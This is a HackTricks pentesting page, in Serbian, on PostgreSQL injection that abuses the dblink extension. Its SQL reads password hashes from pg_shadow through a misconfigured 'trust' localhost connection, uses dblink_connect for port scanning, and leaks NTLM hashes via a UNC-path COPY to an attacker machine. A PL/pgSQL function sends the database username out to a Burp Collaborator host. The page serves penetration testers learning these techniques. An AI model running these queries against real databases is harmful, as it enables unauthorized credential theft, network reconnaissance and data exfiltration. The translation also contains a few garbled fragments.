hacktricks/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

# Mreža - Privesc, Port skener i NTLM izazov odgovor otkrivanje

{{#include ../../../banners/hacktricks-training.md}}

**Pronađite** [**više informacija o ovim napadima u originalnom dokumentu**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).

Od **PostgreSQL 9.1**, instalacija dodatnih modula je jednostavna. [Registrovane ekstenzije kao što je `dblink`](https://www.postgresql.org/docs/current/contrib.html) mogu se instalirati pomoću [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Kada učitate dblink, mogli biste biti u mogućnosti da izvodite neke zanimljive trikove:

### Eskalacija privilegija

Fajl `pg_hba.conf` može biti loše konfigurisan **dozvoljavajući konekcije** sa **localhost-a kao bilo koji korisnik** bez potrebe da znate lozinku. Ovaj fajl se obično može naći u `/etc/postgresql/12/main/pg_hba.conf`, a loša konfiguracija izgleda ovako:
```
local    all    all    trust
```
_Napomena da se ova konfiguracija često koristi za promenu lozinke db korisnika kada je administrator zaboravi, tako da je ponekad možete pronaći._\
&#xNAN;_Note takođe da je datoteka pg_hba.conf čitljiva samo od strane postgres korisnika i grupe i zapisiva samo od strane postgres korisnika._

Ovaj slučaj je **koristan ako** već imate **shell** unutar žrtve jer će vam omogućiti da se povežete na postgresql bazu podataka.

Još jedna moguća pogrešna konfiguracija sastoji se od nečega poput ovoga:
```
host    all     all     127.0.0.1/32    trust
```
Kao što će omogućiti svima sa localhost-a da se povežu na bazu podataka kao bilo koji korisnik.\
U ovom slučaju, i ako **`dblink`** funkcija **radi**, mogli biste **povećati privilegije** povezivanjem na bazu podataka putem već uspostavljene veze i pristupiti podacima kojima ne biste trebali imati pristup:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning

Zloupotrebljavajući `dblink_connect`, takođe možete **pretraživati otvorene portove**. Ako ta \*\*funkcija ne radi, trebali biste pokušati da koristite `dblink_connect_u()`, jer dokumentacija kaže da je `dblink_connect_u()` identičan `dblink_connect()`, osim što će omogućiti ne-superkorisnicima da se povežu koristeći bilo koju metodu autentifikacije\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:
```
Napomena da **pre** nego što budete mogli da koristite `dblink_connect` ili `dblink_connect_u` možda ćete morati da izvršite:
```
CREATE extension dblink;
```
### UNC putanja - NTLM hash otkrivanje
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
```

```sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{{#include ../../../banners/hacktricks-training.md}}